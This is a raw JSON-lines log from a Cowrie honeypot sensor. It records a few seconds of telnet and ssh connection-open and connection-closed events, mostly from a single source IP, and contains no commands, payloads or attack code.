{"eventid":"cowrie.session.closed","duration":31.802132844924927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.712467Z","src_ip":"51.161.172.108","session":"3914d56b5608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94932985305786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:23.718876Z","src_ip":"51.161.172.108","session":"34fba5d1e5cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34084,"dst_ip":"10.17.0.5","dst_port":23,"session":"9624aa2f21ea","protocol":"telnet","message":"New connection: 45.10.154.244:34084 (10.17.0.5:23) [session: 9624aa2f21ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.124016Z"}
{"eventid":"cowrie.session.closed","duration":31.816872119903564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.134496Z","src_ip":"51.161.172.108","session":"07616ea6f9f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93028211593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.276903Z","src_ip":"51.161.172.108","session":"be9dedf7e7df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36342,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f89c81a7c16","protocol":"telnet","message":"New connection: 51.161.172.108:36342 (159.203.135.109:23) [session: 1f89c81a7c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.287522Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":35160,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d2c209f301","protocol":"telnet","message":"New connection: 45.10.154.244:35160 (10.17.0.5:23) [session: 86d2c209f301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.429576Z"}
{"eventid":"cowrie.session.closed","duration":31.86322593688965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.435724Z","src_ip":"51.161.172.108","session":"c4a2db67660c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"46.0","message":"Connection lost after 46.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.449981Z","src_ip":"122.168.114.167","session":"ad73734dbeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36220,"dst_ip":"159.203.135.109","dst_port":23,"session":"1631b566a832","protocol":"telnet","message":"New connection: 51.161.172.108:36220 (159.203.135.109:23) [session: 1631b566a832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.456021Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36216,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac189727958","protocol":"telnet","message":"New connection: 51.161.172.108:36216 (159.203.135.109:23) [session: 6ac189727958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.467069Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36232,"dst_ip":"159.203.135.109","dst_port":23,"session":"5061e2544e69","protocol":"telnet","message":"New connection: 51.161.172.108:36232 (159.203.135.109:23) [session: 5061e2544e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.486423Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36358,"dst_ip":"159.203.135.109","dst_port":23,"session":"03e38391d6ce","protocol":"telnet","message":"New connection: 51.161.172.108:36358 (159.203.135.109:23) [session: 03e38391d6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.664269Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36322,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb49f6ad472f","protocol":"telnet","message":"New connection: 51.161.172.108:36322 (159.203.135.109:23) [session: cb49f6ad472f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.804897Z"}
{"eventid":"cowrie.session.closed","duration":31.08352518081665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.844114Z","src_ip":"51.161.172.108","session":"f8fd1ab2270e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36334,"dst_ip":"159.203.135.109","dst_port":23,"session":"0edbc24add4c","protocol":"telnet","message":"New connection: 51.161.172.108:36334 (159.203.135.109:23) [session: 0edbc24add4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.909181Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36324,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3faa1ade0e","protocol":"telnet","message":"New connection: 51.161.172.108:36324 (159.203.135.109:23) [session: be3faa1ade0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.981496Z"}
{"eventid":"cowrie.session.closed","duration":31.37028479576111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:24.987515Z","src_ip":"51.161.172.108","session":"274187aa989b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36378,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d11e5f383d","protocol":"telnet","message":"New connection: 51.161.172.108:36378 (159.203.135.109:23) [session: 09d11e5f383d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.115381Z"}
{"eventid":"cowrie.session.closed","duration":30.598156452178955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.254428Z","src_ip":"51.161.172.108","session":"b468887a07f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36394,"dst_ip":"159.203.135.109","dst_port":23,"session":"740212a0f5a1","protocol":"telnet","message":"New connection: 51.161.172.108:36394 (159.203.135.109:23) [session: 740212a0f5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.261259Z"}
{"eventid":"cowrie.session.closed","duration":31.36723566055298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.280094Z","src_ip":"51.161.172.108","session":"688a0288dfd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923858404159546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.313365Z","src_ip":"51.161.172.108","session":"369c4067a1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36402,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d27432531cc","protocol":"telnet","message":"New connection: 51.161.172.108:36402 (159.203.135.109:23) [session: 7d27432531cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.388430Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36466,"dst_ip":"159.203.135.109","dst_port":23,"session":"5afb8de89717","protocol":"telnet","message":"New connection: 51.161.172.108:36466 (159.203.135.109:23) [session: 5afb8de89717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.515268Z"}
{"eventid":"cowrie.session.closed","duration":31.638850450515747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.543943Z","src_ip":"51.161.172.108","session":"3b4ad6ebe8b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.308257818222046,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.573054Z","src_ip":"167.99.38.72","session":"05c637258e10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.344141483306885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.597620Z","src_ip":"51.161.172.108","session":"f5d12a4493b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83734965324402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.733592Z","src_ip":"51.161.172.108","session":"db21a58b12b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36476,"dst_ip":"159.203.135.109","dst_port":23,"session":"616b69fa5919","protocol":"telnet","message":"New connection: 51.161.172.108:36476 (159.203.135.109:23) [session: 616b69fa5919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.776579Z"}
{"eventid":"cowrie.session.closed","duration":31.149850845336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:25.900336Z","src_ip":"51.161.172.108","session":"b5bc2bf2db0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.688197374343872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.056885Z","src_ip":"51.161.172.108","session":"3e010232a836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.20209789276123,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.133416Z","src_ip":"51.161.172.108","session":"0f22e88787ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250450611114502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.173151Z","src_ip":"51.161.172.108","session":"8f5736cfde64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36556,"dst_ip":"159.203.135.109","dst_port":23,"session":"734675e7e91f","protocol":"telnet","message":"New connection: 51.161.172.108:36556 (159.203.135.109:23) [session: 734675e7e91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.189229Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":41862,"dst_ip":"10.17.0.5","dst_port":23,"session":"f623dccdffc2","protocol":"telnet","message":"New connection: 45.10.154.244:41862 (10.17.0.5:23) [session: f623dccdffc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.200466Z"}
{"eventid":"cowrie.session.closed","duration":30.57436966896057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.293442Z","src_ip":"51.161.172.108","session":"13d10141dcf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47281885147095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.374439Z","src_ip":"51.161.172.108","session":"f239f1c568bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777626514434814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.385530Z","src_ip":"51.161.172.108","session":"98e574a6d514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42876,"dst_ip":"10.17.0.5","dst_port":23,"session":"3124b93f1220","protocol":"telnet","message":"New connection: 45.10.154.244:42876 (10.17.0.5:23) [session: 3124b93f1220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.481749Z"}
{"eventid":"cowrie.session.closed","duration":31.632455348968506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.508386Z","src_ip":"51.161.172.108","session":"7e9e99449d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36598,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c6844827be7","protocol":"telnet","message":"New connection: 51.161.172.108:36598 (159.203.135.109:23) [session: 0c6844827be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.566480Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36612,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3174917f1b9","protocol":"telnet","message":"New connection: 51.161.172.108:36612 (159.203.135.109:23) [session: b3174917f1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.626800Z"}
{"eventid":"cowrie.session.closed","duration":34.49944806098938,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.718305Z","src_ip":"167.99.38.72","session":"1aadaf3d0f91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36650,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb8b530ca65","protocol":"telnet","message":"New connection: 51.161.172.108:36650 (159.203.135.109:23) [session: cdb8b530ca65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:26.920673Z"}
{"eventid":"cowrie.session.closed","duration":30.924384117126465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.085001Z","src_ip":"45.10.154.244","session":"3ee37307a1a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36670,"dst_ip":"159.203.135.109","dst_port":23,"session":"326f45c0e569","protocol":"telnet","message":"New connection: 51.161.172.108:36670 (159.203.135.109:23) [session: 326f45c0e569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.180396Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36682,"dst_ip":"159.203.135.109","dst_port":23,"session":"864416138231","protocol":"telnet","message":"New connection: 51.161.172.108:36682 (159.203.135.109:23) [session: 864416138231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.301413Z"}
{"eventid":"cowrie.session.closed","duration":30.759553909301758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.416228Z","src_ip":"51.161.172.108","session":"2b22f95c051c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36698,"dst_ip":"159.203.135.109","dst_port":23,"session":"b764bd694562","protocol":"telnet","message":"New connection: 51.161.172.108:36698 (159.203.135.109:23) [session: b764bd694562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.428645Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36716,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ebe5b25c01","protocol":"telnet","message":"New connection: 51.161.172.108:36716 (159.203.135.109:23) [session: 97ebe5b25c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.463498Z"}
{"eventid":"cowrie.session.closed","duration":30.996662855148315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.472037Z","src_ip":"51.161.172.108","session":"180b214b3fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36708,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa1eacd2eec9","protocol":"telnet","message":"New connection: 51.161.172.108:36708 (159.203.135.109:23) [session: aa1eacd2eec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.549820Z"}
{"eventid":"cowrie.session.closed","duration":31.356155395507812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.556233Z","src_ip":"51.161.172.108","session":"5db9d1c2fb33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305593013763428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.604629Z","src_ip":"51.161.172.108","session":"57c69fd7d161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36746,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c4b231d8f90","protocol":"telnet","message":"New connection: 51.161.172.108:36746 (159.203.135.109:23) [session: 4c4b231d8f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.620110Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36744,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a84b70dea52","protocol":"telnet","message":"New connection: 51.161.172.108:36744 (159.203.135.109:23) [session: 4a84b70dea52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.626157Z"}
{"eventid":"cowrie.session.closed","duration":31.50366520881653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.630840Z","src_ip":"51.161.172.108","session":"d3f2dd67b323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36756,"dst_ip":"159.203.135.109","dst_port":23,"session":"591812d64210","protocol":"telnet","message":"New connection: 51.161.172.108:36756 (159.203.135.109:23) [session: 591812d64210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.647974Z"}
{"eventid":"cowrie.session.closed","duration":31.09285616874695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.672656Z","src_ip":"51.161.172.108","session":"d3dabcc62dc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5658597946167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.710109Z","src_ip":"51.161.172.108","session":"ef3e14b623c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36788,"dst_ip":"159.203.135.109","dst_port":23,"session":"b167c2ecc3d5","protocol":"telnet","message":"New connection: 51.161.172.108:36788 (159.203.135.109:23) [session: b167c2ecc3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:27.809069Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36806,"dst_ip":"159.203.135.109","dst_port":23,"session":"87843c1e6c32","protocol":"telnet","message":"New connection: 51.161.172.108:36806 (159.203.135.109:23) [session: 87843c1e6c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.012913Z"}
{"eventid":"cowrie.session.closed","duration":31.498220205307007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.044137Z","src_ip":"51.161.172.108","session":"547cd4b33cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48698,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00a666afc7d","protocol":"telnet","message":"New connection: 45.10.154.244:48698 (10.17.0.5:23) [session: b00a666afc7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.074275Z"}
{"eventid":"cowrie.session.closed","duration":30.55509305000305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.079385Z","src_ip":"45.10.154.244","session":"a6748060b83c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687428951263428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.184955Z","src_ip":"51.161.172.108","session":"8712093221c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36852,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa7194854487","protocol":"telnet","message":"New connection: 51.161.172.108:36852 (159.203.135.109:23) [session: fa7194854487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.336728Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36862,"dst_ip":"159.203.135.109","dst_port":23,"session":"881c559b9b6f","protocol":"telnet","message":"New connection: 51.161.172.108:36862 (159.203.135.109:23) [session: 881c559b9b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.387056Z"}
{"eventid":"cowrie.session.closed","duration":30.971474170684814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.528775Z","src_ip":"51.161.172.108","session":"eb26c0db79a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36926,"dst_ip":"159.203.135.109","dst_port":23,"session":"596a187b049e","protocol":"telnet","message":"New connection: 51.161.172.108:36926 (159.203.135.109:23) [session: 596a187b049e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.879701Z"}
{"eventid":"cowrie.session.closed","duration":31.792038679122925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:28.914796Z","src_ip":"51.161.172.108","session":"c50fc9ad87ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36850,"dst_ip":"159.203.135.109","dst_port":23,"session":"002c58029eef","protocol":"telnet","message":"New connection: 51.161.172.108:36850 (159.203.135.109:23) [session: 002c58029eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.029747Z"}
{"eventid":"cowrie.session.closed","duration":31.50337553024292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.112230Z","src_ip":"51.161.172.108","session":"89260a8ffcce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36954,"dst_ip":"159.203.135.109","dst_port":23,"session":"16478a7a0956","protocol":"telnet","message":"New connection: 51.161.172.108:36954 (159.203.135.109:23) [session: 16478a7a0956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.172067Z"}
{"eventid":"cowrie.session.closed","duration":30.92249870300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.231953Z","src_ip":"51.161.172.108","session":"9ad2568bbb06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53462,"dst_ip":"10.17.0.5","dst_port":23,"session":"7febed289a7e","protocol":"telnet","message":"New connection: 45.10.154.244:53462 (10.17.0.5:23) [session: 7febed289a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.265862Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54312,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f609400b22d","protocol":"telnet","message":"New connection: 51.161.172.108:54312 (159.203.135.109:23) [session: 2f609400b22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.281764Z"}
{"eventid":"cowrie.session.closed","duration":31.374528646469116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.305041Z","src_ip":"51.161.172.108","session":"7e5706f9fc7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.307217597961426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.353885Z","src_ip":"51.161.172.108","session":"132a2dbef4dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":54352,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab43ffdb292","protocol":"telnet","message":"New connection: 51.161.172.108:54352 (159.203.135.109:23) [session: 8ab43ffdb292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.531004Z"}
{"eventid":"cowrie.session.closed","duration":32.779855728149414,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:29.635782Z","src_ip":"51.161.172.108","session":"896ca672cc42","protocol":"telnet"}
